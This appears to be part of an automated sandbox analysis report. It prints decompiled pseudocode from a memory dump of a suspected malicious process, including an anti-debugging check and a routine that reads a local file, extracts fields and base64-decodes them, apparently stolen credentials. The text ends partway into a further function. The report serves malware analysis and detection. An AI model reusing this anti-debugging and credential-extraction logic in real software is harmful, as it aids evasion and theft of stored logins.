											_t276 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t276 == 0) {
												L63:
												_t263 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t263 != 0) {
													_t151 = (0 | _t263 > 0x00000000) - 1; // -1
													_t263 = (_t263 > 0) + _t151;
												}
												goto L66;
											}
											_t145 = (0 | _t276 > 0x00000000) - 1; // -1
											_t263 = (_t276 > 0) + _t145;
											if(_t263 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t139 = (0 | _t274 > 0x00000000) - 1; // -1
										_t263 = (_t274 > 0) + _t139;
										if(_t263 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t133 = (0 | _t272 > 0x00000000) - 1; // -1
									_t263 = (_t272 > 0) + _t133;
									if(_t263 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t279 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t279 == 0) {
									L48:
									_t281 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t281 == 0) {
										L50:
										_t283 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t283 == 0) {
											L52:
											_t263 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t263 != 0) {
												_t126 = (0 | _t263 > 0x00000000) - 1; // -1
												_t263 = (_t263 > 0) + _t126;
											}
											goto L55;
										}
										_t120 = (0 | _t283 > 0x00000000) - 1; // -1
										_t263 = (_t283 > 0) + _t120;
										if(_t263 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t114 = (0 | _t281 > 0x00000000) - 1; // -1
									_t263 = (_t281 > 0) + _t114;
									if(_t263 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t108 = (0 | _t279 > 0x00000000) - 1; // -1
								_t263 = (_t279 > 0) + _t108;
								if(_t263 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t286 = (_t188 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t286 == 0) {
								L37:
								_t288 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t288 == 0) {
									L39:
									_t290 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t290 == 0) {
										L41:
										_t263 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t263 != 0) {
											_t100 = (0 | _t263 > 0x00000000) - 1; // -1
											_t263 = (_t263 > 0) + _t100;
										}
										goto L44;
									}
									_t94 = (0 | _t290 > 0x00000000) - 1; // -1
									_t263 = (_t290 > 0) + _t94;
									if(_t263 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t88 = (0 | _t288 > 0x00000000) - 1; // -1
								_t263 = (_t288 > 0) + _t88;
								if(_t263 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t82 = (0 | _t286 > 0x00000000) - 1; // -1
							_t263 = (_t286 > 0) + _t82;
							if(_t263 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t293 = (_t187 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t293 == 0) {
							L26:
							_t295 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t295 == 0) {
								L28:
								_t297 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t297 == 0) {
									L30:
									_t263 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t263 != 0) {
										_t75 = (0 | _t263 > 0x00000000) - 1; // -1
										_t263 = (_t263 > 0) + _t75;
									}
									goto L33;
								}
								_t69 = (0 | _t297 > 0x00000000) - 1; // -1
								_t263 = (_t297 > 0) + _t69;
								if(_t263 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t63 = (0 | _t295 > 0x00000000) - 1; // -1
							_t263 = (_t295 > 0) + _t63;
							if(_t263 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t57 = (0 | _t293 > 0x00000000) - 1; // -1
						_t263 = (_t293 > 0) + _t57;
						if(_t263 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t300 = (_t186 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t300 == 0) {
						L15:
						_t302 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t302 == 0) {
							L17:
							_t304 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t304 == 0) {
								L19:
								_t263 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t263 != 0) {
									_t50 = (0 | _t263 > 0x00000000) - 1; // -1
									_t263 = (_t263 > 0) + _t50;
								}
								goto L22;
							}
							_t44 = (0 | _t304 > 0x00000000) - 1; // -1
							_t263 = (_t304 > 0) + _t44;
							if(_t263 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t38 = (0 | _t302 > 0x00000000) - 1; // -1
						_t263 = (_t302 > 0) + _t38;
						if(_t263 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t32 = (0 | _t300 > 0x00000000) - 1; // -1
					_t263 = (_t300 > 0) + _t32;
					if(_t263 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									__edx = 0;
									_t25 = (0 | __esi > 0x00000000) - 1; // -1
									__esi = (__esi > 0) + _t25;
								}
								goto L11;
							}
							__edx = 0;
							__edx = 0 | __esi > 0x00000000;
							_t19 = __edx - 1; // -1
							__esi = __edx + _t19;
							if(__edx + _t19 != 0) {
								goto L1;
							}
							goto L8;
						}
						__edx = 0;
						__edx = 0 | __esi > 0x00000000;
						_t13 = __edx - 1; // -1
						__esi = __edx + _t13;
						if(__edx + _t13 != 0) {
							goto L1;
						}
						goto L6;
					}
					__edx = 0;
					__edx = 0 | __esi > 0x00000000;
					_t7 = __edx - 1; // -1
					__esi = __edx + _t7;
					if(__edx + _t7 != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t263;
				goto L80;
			}

0x0042b0ed
0x0042b0ed
0x0042b0f3
0x0042b15e
0x0042b160
0x0042b162
0x00000000
0x00000000
0x0042b164
0x0042b16a
0x0042b1e1
0x0042b1e3
0x0042b1e5
0x00000000
0x00000000
0x0042b1eb
0x0042b1f1
0x0042b268
0x0042b26a
0x0042b26c
0x00000000
0x00000000
0x0042b272
0x0042b278
0x0042b2ef
0x0042b2f1
0x0042b2f3
0x00000000
0x00000000
0x0042b2ff
0x0042b377
0x0042b379
0x0042b37b
0x00000000
0x00000000
0x0042b381
0x0042b387
0x0042b3fe
0x0042b400
0x0042b402
0x00000000
0x00000000
0x0042b408
0x0042b40e
0x0042b47d
0x0042b47f
0x0042b481
0x0042b483
0x0042b483
0x0042b485
0x0042c129
0x0042c129
0x0042b417
0x0042b419
0x0042b42a
0x0042b432
0x0042b434
0x0042b445
0x0042b44d
0x0042b44f
0x0042b464
0x0042b46c
0x0042b46e
0x0042b477
0x0042b477
0x0042b477
0x00000000
0x0042b46e
0x0042b458
0x0042b45e
0x00000000
0x00000000
0x0042b460
0x0042b460
0x00000000
0x0042b460
0x0042b43d
0x0042b443
0x00000000
0x00000000
0x00000000
0x0042b443
0x0042b422
0x0042b428
0x00000000
0x00000000
0x00000000
0x0042b428
0x0042b390
0x0042b392
0x0042b3a7
0x0042b3af
0x0042b3b1
0x0042b3c6
0x0042b3ce
0x0042b3d0
0x0042b3e5
0x0042b3ed
0x0042b3ef
0x0042b3f8
0x0042b3f8
0x0042b3f8
0x00000000
0x0042b3ef
0x0042b3d9
0x0042b3d9
0x0042b3df
0x00000000
0x00000000
0x00000000
0x0042b3df
0x0042b3ba
0x0042b3ba
0x0042b3c0
0x00000000
0x00000000
0x00000000
0x0042b3c0
0x0042b39b
0x0042b39b
0x0042b3a1
0x00000000
0x00000000
0x00000000
0x0042b3a1
0x0042b309
0x0042b30b
0x0042b320
0x0042b328
0x0042b32a
0x0042b33f
0x0042b347
0x0042b349
0x0042b35e
0x0042b366
0x0042b368
0x0042b371
0x0042b371
0x0042b371
0x00000000
0x0042b368
0x0042b352
0x0042b352
0x0042b358
0x00000000
0x00000000
0x00000000
0x0042b358
0x0042b333
0x0042b333
0x0042b339
0x00000000
0x00000000
0x00000000
0x0042b339
0x0042b314
0x0042b314
0x0042b31a
0x00000000
0x00000000
0x00000000
0x0042b31a
0x0042b281
0x0042b283
0x0042b298
0x0042b2a0
0x0042b2a2
0x0042b2b7
0x0042b2bf
0x0042b2c1
0x0042b2d6
0x0042b2de
0x0042b2e0
0x0042b2e9
0x0042b2e9
0x0042b2e9
0x00000000
0x0042b2e0
0x0042b2ca
0x0042b2ca
0x0042b2d0
0x00000000
0x00000000
0x00000000
0x0042b2d0
0x0042b2ab
0x0042b2ab
0x0042b2b1
0x00000000
0x00000000
0x00000000
0x0042b2b1
0x0042b28c
0x0042b28c
0x0042b292
0x00000000
0x00000000
0x00000000
0x0042b292
0x0042b1fa
0x0042b1fc
0x0042b211
0x0042b219
0x0042b21b
0x0042b230
0x0042b238
0x0042b23a
0x0042b24f
0x0042b257
0x0042b259
0x0042b262
0x0042b262
0x0042b262
0x00000000
0x0042b259
0x0042b243
0x0042b243
0x0042b249
0x00000000
0x00000000
0x00000000
0x0042b249
0x0042b224
0x0042b224
0x0042b22a
0x00000000
0x00000000
0x00000000
0x0042b22a
0x0042b205
0x0042b205
0x0042b20b
0x00000000
0x00000000
0x00000000
0x0042b20b
0x0042b173
0x0042b175
0x0042b18a
0x0042b192
0x0042b194
0x0042b1a9
0x0042b1b1
0x0042b1b3
0x0042b1c8
0x0042b1d0
0x0042b1d2
0x0042b1db
0x0042b1db
0x0042b1db
0x00000000
0x0042b1d2
0x0042b1bc
0x0042b1bc
0x0042b1c2
0x00000000
0x00000000
0x00000000
0x0042b1c2
0x0042b19d
0x0042b19d
0x0042b1a3
0x00000000
0x00000000
0x00000000
0x0042b1a3
0x0042b17e
0x0042b17e
0x0042b184
0x00000000
0x00000000
0x00000000
0x0042b0f5
0x0042b0f5
0x0042b0f8
0x0042b0fc
0x0042b0fe
0x0042b10f
0x0042b10f
0x0042b113
0x0042b117
0x0042b119
0x0042b12a
0x0042b12a
0x0042b12e
0x0042b132
0x0042b134
0x0042b145
0x0042b145
0x0042b149
0x0042b14d
0x0042b14f
0x0042b151
0x0042b158
0x0042b158
0x0042b158
0x00000000
0x0042b14f
0x0042b136
0x0042b13a
0x0042b13d
0x0042b13d
0x0042b143
0x00000000
0x00000000
0x00000000
0x0042b143
0x0042b11b
0x0042b11f
0x0042b122
0x0042b122
0x0042b128
0x00000000
0x00000000
0x00000000
0x0042b128
0x0042b100
0x0042b104
0x0042b107
0x0042b107
0x0042b10d
0x00000000
0x00000000
0x00000000
0x0042b10d
0x0042b0e6
0x0042b0e6
0x00000000

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: 46abe8e67e2402f6cb6fa08af82984a6cded8f2a43c1ddeb88716c8acf4646e2
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: CFB18133E0E5B2468736852D295823FEF62AE91B4035EC392CCD03F28AD72B6D15D5D4

Uniqueness

Uniqueness Score: -1.00%

Function 0042C290 Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0042C290(signed int _a4, signed char _a8, intOrPtr _a12) {
				intOrPtr _t13;
				void* _t14;
				signed char _t20;
				signed char _t24;
				signed int _t27;
				signed char _t32;
				unsigned int _t33;
				signed char _t35;
				signed char _t37;
				signed int _t39;

				_t13 = _a12;
				if(_t13 == 0) {
					L11:
					return _t13;
				} else {
					_t39 = _a4;
					_t20 = _a8;
					if((_t39 & 0x00000003) == 0) {
						L5:
						_t14 = _t13 - 4;
						if(_t14 < 0) {
							L8:
							_t13 = _t14 + 4;
							if(_t13 == 0) {
								goto L11;
							} else {
								while(1) {
									_t24 =  *_t39;
									_t39 = _t39 + 1;
									if((_t24 ^ _t20) == 0) {
										goto L20;
									}
									_t13 = _t13 - 1;
									if(_t13 != 0) {
										continue;
									} else {
										goto L11;
									}
									goto L24;
								}
								goto L20;
							}
						} else {
							_t20 = ((_t20 << 8) + _t20 << 0x10) + (_t20 << 8) + _t20;
							do {
								_t27 =  *_t39 ^ _t20;
								_t39 = _t39 + 4;
								if(((_t27 ^ 0xffffffff ^ 0x7efefeff + _t27) & 0x81010100) == 0) {
									goto L12;
								} else {
									_t8 = _t39 - 4; // 0x656b5f64
									_t32 =  *_t8 ^ _t20;
									if(_t32 == 0) {
										_t12 = _t39 - 4; // 0x44ac6c
										return _t12;
									} else {
										_t33 = _t32 ^ _t20;
										if(_t33 == 0) {
											_t11 = _t39 - 3; // 0x44ac6d
											return _t11;
										} else {
											_t35 = _t33 >> 0x00000010 ^ _t20;
											if(_t35 == 0) {
												_t10 = _t39 - 2; // 0x44ac6e
												return _t10;
											} else {
												if((_t35 ^ _t20) == 0) {
													goto L20;
												} else {
													goto L12;
												}
											}
										}
									}
								}
								goto L24;
								L12:
								_t14 = _t14 - 4;
							} while (_t14 >= 0);
							goto L8;
						}
					} else {
						while(1) {
							_t37 =  *_t39;
							_t39 = _t39 + 1;
							if((_t37 ^ _t20) == 0) {
								break;
							}
							_t13 = _t13 - 1;
							if(_t13 == 0) {
								goto L11;
							} else {
								if((_t39 & 0x00000003) != 0) {
									continue;
								} else {
									goto L5;
								}
							}
							goto L24;
						}
						L20:
						_t9 = _t39 - 1; // 0x44ac6f
						return _t9;
					}
				}
				L24:
			}

0x0042c290
0x0042c297
0x0042c2ec
0x0042c2ec
0x0042c299
0x0042c299
0x0042c29f
0x0042c2a9
0x0042c2c1
0x0042c2c1
0x0042c2c4
0x0042c2d8
0x0042c2d8
0x0042c2db
0x00000000
0x0042c2dd
0x0042c2dd
0x0042c2dd
0x0042c2df
0x0042c2e4
0x00000000
0x00000000
0x0042c2e6
0x0042c2e9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042c2e9
0x00000000
0x0042c2dd
0x0042c2c6
0x0042c2d3
0x0042c2f2
0x0042c2f4
0x0042c302
0x0042c30b
0x00000000
0x0042c30d
0x0042c30d
0x0042c310
0x0042c312
0x0042c337
0x0042c33c
0x0042c314
0x0042c314
0x0042c316
0x0042c331
0x0042c336
0x0042c318
0x0042c31b
0x0042c31d
0x0042c32b
0x0042c330
0x0042c31f
0x0042c321
0x00000000
0x0042c323
0x00000000
0x0042c323
0x0042c321
0x0042c31d
0x0042c316
0x0042c312
0x00000000
0x0042c2ed
0x0042c2ed
0x0042c2ed
0x00000000
0x0042c2d7
0x0042c2ab
0x0042c2ab
0x0042c2ab
0x0042c2ad
0x0042c2b2
0x00000000
0x00000000
0x0042c2b4
0x0042c2b7
0x00000000
0x0042c2b9
0x0042c2bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0042c2bf
0x00000000
0x0042c2b7
0x0042c326
0x0042c326
0x0042c32a
0x0042c32a
0x0042c2a9
0x00000000

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: e7ae6ec97e28a4d21dc9ab44249c46aa15c67cf32f51977f4b83d1add32e97bb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 4D113BB7740071C3D604C6ADF8F46BFA395EBD6320BEC83A7C0418B748CA2AA941D61C

Uniqueness

Uniqueness Score: -1.00%

Function 00401090 Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401090() {

				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					return 1;
				} else {
					return 0;
				}
			}

0x0040109a
0x004010a4
0x0040109c
0x0040109e
0x0040109e

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7398b6239bf8858e3d1776f2ebb5b6e80944bbaad592eaf912553e7d93e1029a
Instruction ID: ad970c695159bee0a132b431ebef22af9c7c19bef2e3da28e1a90d8405ed860f
Opcode Fuzzy Hash: 7398b6239bf8858e3d1776f2ebb5b6e80944bbaad592eaf912553e7d93e1029a
Instruction Fuzzy Hash: 4AB092606224C04AEB1283348425B127AE1A740B01F8984E0A045C2DD2C66C8A849104

Uniqueness

Uniqueness Score: -1.00%

Function 00416350 Relevance: 57.9, APIs: 32, Strings: 1, Instructions: 192
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00416350(CHAR* __ecx, CHAR* __esi, char _a4) {
				signed int _v8;
				char _v268;
				void* _v272;
				CHAR* _v276;
				char* _v280;
				long _v284;
				void* __ebx;
				void* __edi;
				signed int _t26;
				void* _t41;
				char* _t43;
				char* _t47;
				CHAR* _t53;
				char* _t57;
				char* _t59;
				char* _t60;
				char* _t65;
				CHAR* _t66;
				int _t67;
				char* _t68;
				char* _t73;
				void* _t75;
				void* _t76;
				CHAR* _t77;
				CHAR* _t84;
				CHAR* _t87;
				char* _t88;
				CHAR* _t89;
				char* _t91;
				CHAR* _t95;
				CHAR* _t97;
				char* _t98;
				CHAR* _t99;
				long _t100;
				char* _t101;
				char* _t104;
				char* _t107;
				CHAR* _t109;
				signed int _t110;

				_t109 = __esi;
				_t26 =  *0x450664; // 0x30e242aa
				_v8 = _t26 ^ _t110;
				_t2 =  &_a4; // 0x417520
				_push(0x4532c0);
				_v276 =  *_t2;
				_t99 = __ecx;
				if(E0042C353() < 0x20) {
					L00429B30( &_v268, 0, 0x104);
					lstrcatA( &_v268, _t99);
					lstrcatA( &_v268, "\\");
					_t84 =  *0x453290; // 0x5098ac0
					_t93 =  &_v268;
					lstrcatA( &_v268, _t84);
					_t76 =  *0x453374( &_v268, 0x80000000, 1, 0, 3, 0, 0, _t75);
					_v272 = _t76;
					_t116 = _t76;
					if(_t76 != 0) {
						SetFilePointer(_t76, 0, 0, 2);
						_t100 = GetFileSize(_t76, 0);
						SetFilePointer(_t76, 0, 0, 0);
						_t10 = _t100 + 1; // 0x1
						_t41 = E004290CB(_t100, __esi, _t116);
						_t93 =  &_v284;
						_v280 = _t41;
						ReadFile(_t76, _t41, _t100,  &_v284, 0);
						_t43 =  *0x452b74; // 0x5098b20
						_t99 = StrStrA(_v280, _t43);
						if(_t99 != 0) {
							do {
								_t95 =  *0x452b74; // 0x5098b20
								_t15 = lstrlenA(_t95) + 3; // 0x3
								_t77 =  &(_t99[_t15]);
								_t47 =  *0x452de8; // 0x5098ad8
								_t101 = StrStrA(_t77, _t47);
								 *((char*)(_t101 - 3)) = 0;
								lstrcatA(__esi, "\n");
								_t87 =  *0x452e98; // 0x5098750
								lstrcatA(__esi, _t87);
								lstrcatA(__esi, _v276);
								lstrcatA(__esi, "\n");
								_t53 =  *0x4531a0; // 0x50985c0
								lstrcatA(__esi, _t53);
								lstrcatA(__esi, _t77);
								lstrcatA(__esi, "\n");
								_t88 =  *0x453034; // 0x50911a8
								_t57 = StrStrA(_t101 + 0xfffffffe, _t88);
								_t97 =  *0x453034; // 0x50911a8
								_t19 = lstrlenA(_t97) + 3; // 0x3
								_t59 =  *0x453030; // 0x50911e8
								_t60 = StrStrA( &(_t57[_t19]), _t59);
								_t89 =  *0x452c5c; // 0x509d100
								_t104 = _t60;
								 *((char*)(_t104 - 3)) = 0;
								lstrcatA(__esi, _t89);
								lstrcatA(__esi, L00414720( &(_t57[_t19]),  &(_t57[_t19])));
								lstrcatA(__esi, "\n");
								_t98 =  *0x453030; // 0x50911e8
								_t65 = StrStrA( &(_t104[0xfffffffffffffffe]), _t98);
								_t66 =  *0x453030; // 0x50911e8
								_t67 = lstrlenA(_t66);
								_t91 =  *0x4531b4; // 0x50984c0
								_t22 = _t67 + 3; // 0x3
								_t68 = StrStrA( &(_t65[_t22]), _t91);
								_t93 =  *0x45315c; // 0x509ccc8
								_t107 = _t68;
								 *((char*)(_t107 - 3)) = 0;
								lstrcatA(__esi, _t93);
								lstrcatA(__esi, L00414720( &(_t65[_t22]),  &(_t65[_t22])));
								lstrcatA(__esi, "\n\n");
								_t73 =  *0x452b74; // 0x5098b20
								_t99 = StrStrA( &(_t107[0xfffffffffffffffe]), _t73);
							} while (_t99 != 0);
							_t76 = _v272;
						}
						CloseHandle(_t76);
					}
					_t29 =  *0x45330c();
					_pop(_t75);
				}
				return E00429B16(_t29, _t75, _v8 ^ _t110, _t93, _t99, _t109);
			}

0x00416350
0x00416359
0x00416360
0x00416363
0x00416367
0x0041636c
0x00416372
0x0041637f
0x00416394
0x004163a4
0x004163b6
0x004163bc
0x004163c3
0x004163ca
0x004163ec
0x004163ee
0x004163f4
0x004163f6
0x00416403
0x00416419
0x0041641b
0x00416421
0x00416425
0x0041642f
0x00416439
0x0041643f
0x00416445
0x00416458
0x0041645c
0x00416462
0x00416462
0x0041646f
0x0041646f
0x00416473
0x00416485
0x00416488
0x0041648c
0x00416492
0x0041649a
0x004164a8
0x004164b4
0x004164ba
0x004164c1
0x004164c9
0x004164d5
0x004164db
0x004164e6
0x004164ec
0x004164fb
0x004164ff
0x00416506
0x0041650c
0x00416513
0x00416516
0x0041651a
0x00416529
0x00416535
0x0041653b
0x00416546
0x0041654e
0x00416554
0x0041655a
0x00416560
0x00416566
0x0041656c
0x00416572
0x00416575
0x0041657a
0x00416589
0x00416595
0x0041659b
0x004165ab
0x004165ad
0x004165b5
0x004165b5
0x004165bc
0x004165bc
0x004165c2
0x004165c8
0x004165c8
0x004165d7

APIs

_memset.LIBCMT ref: 00416394
lstrcatA.KERNEL32(?,?,?,?,0041B84A,?), ref: 004163A4
lstrcatA.KERNEL32(?,004485EC,?,?,0041B84A,?), ref: 004163B6
lstrcatA.KERNEL32(?,05098AC0,?,?,0041B84A,?), ref: 004163CA
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,0041B84A,?), ref: 00416403
GetFileSize.KERNEL32(00000000,00000000,?,?,0041B84A,?), ref: 0041640C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,0041B84A,?), ref: 0041641B
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,0041B84A,?), ref: 0041643F
StrStrA.SHLWAPI(?,05098B20,?,?,?,0041B84A,?), ref: 00416452
lstrlenA.KERNEL32(05098B20,?,?,?,0041B84A,?), ref: 00416469
StrStrA.SHLWAPI(00000003,05098AD8,?,?,?,0041B84A,?), ref: 0041647A
lstrcatA.KERNEL32(0041B84A,004485E8,?,?,?,0041B84A,?), ref: 0041648C
lstrcatA.KERNEL32(0041B84A,05098750,?,?,?,0041B84A,?), ref: 0041649A
lstrcatA.KERNEL32(0041B84A,?,?,?,?,0041B84A,?), ref: 004164A8
lstrcatA.KERNEL32(0041B84A,004485E8,?,?,?,0041B84A,?), ref: 004164B4
lstrcatA.KERNEL32(0041B84A,050985C0,?,?,?,0041B84A,?), ref: 004164C1
lstrcatA.KERNEL32(0041B84A,00000003,?,?,?,0041B84A,?), ref: 004164C9
lstrcatA.KERNEL32(0041B84A,004485E8,?,?,?,0041B84A,?), ref: 004164D5
StrStrA.SHLWAPI(-000000FE,050911A8,?,?,?,0041B84A,?), ref: 004164E6
lstrlenA.KERNEL32(050911A8,?,?,?,0041B84A,?), ref: 004164F5
StrStrA.SHLWAPI(00000003,050911E8,?,?,?,0041B84A,?), ref: 00416506
lstrcatA.KERNEL32(0041B84A,0509D100,?,?,?,0041B84A,?), ref: 0041651A

Part of subcall function 00414720: _memset.LIBCMT ref: 00414758
Part of subcall function 00414720: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,0041B84A,?,00416527,?,?,?,0041B84A,?), ref: 00414775
Part of subcall function 00414720: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0041477D
Part of subcall function 00414720: _memmove.LIBCMT ref: 0041480F

lstrcatA.KERNEL32(0041B84A,00000000,?,?,?,0041B84A,?), ref: 00416529
lstrcatA.KERNEL32(0041B84A,004485E8,?,?,?,0041B84A,?), ref: 00416535
StrStrA.SHLWAPI(-000000FE,050911E8,?,?,?,0041B84A,?), ref: 00416546
lstrlenA.KERNEL32(050911E8,?,?,?,0041B84A,?), ref: 00416554
StrStrA.SHLWAPI(00000003,050984C0,?,?,?,0041B84A,?), ref: 00416566
lstrcatA.KERNEL32(0041B84A,0509CCC8,?,?,?,0041B84A,?), ref: 0041657A

Part of subcall function 00414720: lstrcatA.KERNEL32(004485E7,004485E7,?,00000000,00000000,0041B84A,?,00416527,?,?,?,0041B84A,?), ref: 00414851

lstrcatA.KERNEL32(0041B84A,00000000,?,?,?,0041B84A,?), ref: 00416589
lstrcatA.KERNEL32(0041B84A,0044A994,?,?,?,0041B84A,?), ref: 00416595
StrStrA.SHLWAPI(-000000FE,05098B20,?,?,?,0041B84A,?), ref: 004165A5
CloseHandle.KERNEL32(00000000,?,?,?,0041B84A,?), ref: 004165BC

Strings

uA, xrefs: 00416363

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrlen$Pointer_memset$BinaryCloseCryptHandleReadSizeString_memmove
String ID: uA
API String ID: 3685312554-2493473607
Opcode ID: ece9d294ab4d234222e492b0c0c54657faa36eac17269d7acf6458674d9c93ac
Instruction ID: 8ab69841b2648804787ec582323343820cb8501a8fbf7aa5aa46bce1ef276701
Opcode Fuzzy Hash: ece9d294ab4d234222e492b0c0c54657faa36eac17269d7acf6458674d9c93ac
Instruction Fuzzy Hash: 9E61BF71200304BBD3119F64ED89FAA7779BB49787F140169FA0683292CF78EB41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004310D0 Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E004310D0(void* __ebx) {
				void* __edi;
				void* __esi;
